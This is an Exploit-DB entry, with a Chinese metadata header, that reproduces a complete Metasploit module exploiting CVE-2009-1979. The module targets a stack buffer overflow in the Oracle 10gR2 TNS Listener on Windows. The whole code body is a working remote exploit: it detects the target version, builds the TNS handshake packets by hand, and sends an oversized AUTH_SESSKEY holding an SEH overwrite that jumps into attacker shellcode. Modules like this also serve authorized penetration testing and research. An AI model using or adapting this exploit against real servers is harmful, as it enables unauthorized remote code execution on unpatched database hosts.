标题: Oracle 10gR2 - TNS Listener AUTH_SESSKEY Buffer Overflow (Metasploit) EDB-ID: 16342 CVE: 2009-1979 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: tns_auth_sesskey.rb 11128 2010-11-24 19:43:49Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::TNS
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in Oracle. When
    sending a specially crafted packet containing a long AUTH_SESSKEY value
    to the TNS service, an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11128 $',
   'References'     =>
    [
     [ 'CVE', '2009-1979'],
     [ 'OSVDB', '59110'],
     [ 'BID', '36747'],
     [ 'URL', 'http://blogs.conus.info/node/28' ],
     [ 'URL', 'http://blogs.conus.info/node/35' ],
     [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 0x17e,
     'BadChars' => "", # none, thx memcpy!
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],

     [ 'Oracle 10.2.0.1.0 Enterprise Edition',
      {
       # Untested
       'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
      }
     ],
     [ 'Oracle 10.2.0.4.0 Enterprise Edition',
      {
       # Tested OK - 2010-Jan-20 - jduck
       'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
      }
     ]
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Oct 20 2009'))

  register_options(
   [
    Opt::RPORT(1521)
   ], self.class)
 end


 def check
  version = tns_version
  if (not version)
   raise RuntimeError, "Unable to detect version!"
  end
  print_status("Oracle version reply: " + version)
  return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
  return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
  return Exploit::CheckCode::Safe
 end


 def exploit

  mytarget = nil
  if target.name =~ /Automatic/
   print_status("Attempting automatic target detection...")

   version = tns_version
   if (not version)
    raise RuntimeError, "Unable to detect version!"
   end

   if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
    mytarget = targets[1]
   elsif (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
    mytarget = targets[2]
   end

   if (not mytarget)
    raise RuntimeError, "Unable to automatically detect the target"
   end

   print_status("Automatically detected target \"#{mytarget.name}\"")
  else
   mytarget = target

   print_status("Attacking using target \"#{mytarget.name}\"")
  end


  username = rand_text_alphanumeric(0x1c)

  connect

  print_status("Sending NSPTCN packet ...")
  connect_data = "" +
   "(DESCRIPTION=" +
    "(CONNECT_DATA=" +
     "(SERVICE_NAME=orcl)" +
     "(CID=" +
      "(PROGRAM=client.exe)" +
      "(HOST=client_host)" +
     ")" +
    ")" +
    "(ADDRESS=" +
     "(PROTOCOL=TCP)" +
     "(PORT=1521)" +
    ")" +
   ")"
  nsptcn_pkt = tns_packet(connect_data)
  sock.put(nsptcn_pkt)

  # read NSPTRS (expecting 8 bytes)
  res = sock.get_once(-1, 1)
  #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

  print_status("Re-sending NSPTCN packet ...")
  sock.put(nsptcn_pkt)

  # read NSPTAC (expecting 32 bytes)
  begin
   res = sock.get_once(-1, 1)
  rescue ::Errno::ECONNRESET, EOFError
   raise RuntimeError, "OOPS, maybe the service hasn't started completely yet, try again..."
  end
  #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

  # send NA
  print_status("Sending NA packet ...")
  na_stuff = [0xdeadbeef].pack('N') +
   "\x00\x92" +
   "\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" +
   "\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71" +
   "\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" +
   "\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" +
   "\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" +
   "\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
   "\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" +
   "\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
   "\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"
  na_pkt = nsptda_packet(na_stuff)
  sock.put(na_pkt)

  # read response (expecting 127 bytes)
  res = sock.get_once(-1, 1)
  #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

  # send TTIPRO
  print_status("Sending TTIPRO packet ...")
  ttipro_stuff = "\x01\x06\x05\x04\x03\x02\x01\x00" +
   "IBMPC/WIN_NT-8.1.0" +
   "\x00"
  ttipro_pkt = nsptda_packet(ttipro_stuff)
  sock.put(ttipro_pkt)

  # read response (expecting 179 bytes)
  res = sock.get_once(-1, 1)
  #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

  # send TTIDTY
  print_status("Sending TTIDTY packet ...")
  ttidty_stuff = "\x02\xB2\x00\xB2\x00\xD2" +
   "\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" +
   "\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" +
   "\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" +
   "\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"
  ttidty_pkt = nsptda_packet(ttidty_stuff)
  sock.put(ttidty_pkt)

  # read response (expecting 22 bytes)
  res = sock.get_once(-1, 1)
  #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

  # send first auth pkt (call OSESSKEY)
  print_status("Calling OSESSKEY ...")
  params = []
  dtyauth_pkt = dtyauth_packet(0x76, username, 1, params)
  sock.put(dtyauth_pkt)

  # read RPA (expecting 225 bytes)
  res = sock.get_once(-1, 1)
  #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

  # build exploit buffer
  print_status("Calling kpoauth with long AUTH_SESSKEY ...")
  sploit = payload.encoded
  sploit << rand_text_alphanumeric(0x19a - 0x17e)
  sploit << generate_seh_record(mytarget.ret)
  distance = payload_space + 8 + 5
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

  # ensure bad ptr is derefed
  value = rand(0x3fffffff) | 0xc0000000
  sploit[0x17e,4] = [value].pack('V')

  # send overflow trigger packet (call kpoauth)
  params = []
  params << {
   'Name'   => 'AUTH_SESSKEY',
   'Value'  => sploit,
   'Flag'   => 1
  }
  dtyauth_pkt = dtyauth_packet(0x73, username, 0x121, params)
  sock.put(dtyauth_pkt)

  # expecting disconnect...
  if (res = sock.get_once(-1, 1))
   print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
   raise RuntimeError, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/"
  end

  handler
  disconnect
 end


 def tns_version
  connect
  version = "(CONNECT_DATA=(COMMAND=VERSION))"
  pkt = tns_packet(version)
  sock.put(pkt)
  sock.get_once
  res = sock.get_once(-1, 1)
  disconnect
  return res
 end


 def nsptda_packet(data)
  pkt = [data.length + 10].pack('n')    # NSPHDLEN
  pkt << [0].pack('n')                  # NSPHDPSM
  pkt << [6].pack('C')                  # pkt type
  pkt << [0].pack('C')                  # reserved
  pkt << [0].pack('n')                  # NSPHDHSM
  pkt << [0].pack('n')                  # NSPDAFLG
  pkt << data
  return pkt
 end


 def dtyauth_packet(opi, user, flag, params)
  dunno = 2
  dunno = 3 if opi == 0x73

  pkt = [3, opi, dunno].pack('CCC')

  pkt << [-2].pack('V')
  pkt << [user.length].pack('V')
  pkt << [flag].pack('V')

  pkt << [-2].pack('V')
  pkt << [params.length].pack('V')
  pkt << [-2].pack('V')
  pkt << [-2].pack('V')

  pkt << [user.length].pack('C')
  pkt << user

  params.each { |param|
   name = param['Name']
   pkt << [name.length].pack('V')
   pkt << [name.length].pack('C')
   pkt << name

   val = param['Value']
   pkt << [val.length].pack('V')
   if (val.length > 0)
    if (val.length > 0xff)
     pkt << chunkify(val)
    else
     pkt << [val.length].pack('C')
     pkt << val
    end
   end

   flag = param['Flag']
   pkt << [flag].pack('V')
  }
  return nsptda_packet(pkt)
 end


 def chunkify(buf)
  ret = ""
  if buf.length > 0xff
   ret << "\xfe"

   while (buf.length > 0xff)
    ret << "\xff"
    ret << buf.slice!(0, 0xff)
   end
   if buf.length > 0
    ret << [buf.length].pack('C')
    ret << buf
   end

   ret << "\x00"
  else
   ret << [buf.length].pack('C')
   ret << buf
  end
  return ret
 end

end URL: https://www.exploit-db.com/exploits/16342